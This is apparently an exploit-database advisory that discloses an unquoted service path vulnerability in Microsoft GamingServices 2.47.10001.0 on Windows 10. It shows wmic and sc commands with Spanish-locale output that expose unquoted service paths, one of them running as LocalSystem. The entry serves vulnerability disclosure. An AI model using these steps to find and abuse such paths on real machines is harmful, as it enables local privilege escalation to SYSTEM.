42 lines
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2 KiB
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42 lines
No EOL
2 KiB
Text
# Exploit Title: Microsoft GamingServices 2.47.10001.0 - 'GamingServices' Unquoted Service Path
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# Discovery by: Ismael Nava
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# Discovery Date: 02-12-2020
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# Vendor Homepage: https://www.microsoft.com
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# Software Links : https://www.microsoft.com/en-us/p/xbox-beta/9mv0b5hzvk9z?activetab=pivot:overviewtab
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# Tested Version: 2.47.10001.0
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# Vulnerability Type: Unquoted Service Path
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# Tested on OS: Windows 10 64 bits
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
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GamingServices GamingServices C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe Auto
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GamingServicesNet GamingServicesNet C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe Auto
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C:\>sc qc "GamingServicesNet"
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[SC] QueryServiceConfig CORRECTO
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NOMBRE_SERVICIO: GamingServicesNet
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TIPO : 210 WIN32_PACKAGED_PROCESS
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TIPO_INICIO : 2 AUTO_START
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CONTROL_ERROR : 0 IGNORE
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NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
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GRUPO_ORDEN_CARGA :
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ETIQUETA : 0
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NOMBRE_MOSTRAR : GamingServicesNet
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DEPENDENCIAS : staterepository
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NOMBRE_INICIO_SERVICIO: NT AUTHORITY\LocalService
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C:\>sc qc "GamingServices"
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[SC] QueryServiceConfig CORRECTO
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NOMBRE_SERVICIO: GamingServices
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TIPO : 210 WIN32_PACKAGED_PROCESS
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TIPO_INICIO : 2 AUTO_START
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CONTROL_ERROR : 0 IGNORE
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NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe
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GRUPO_ORDEN_CARGA :
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ETIQUETA : 0
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NOMBRE_MOSTRAR : GamingServices
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DEPENDENCIAS : staterepository
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NOMBRE_INICIO_SERVICIO: LocalSystem |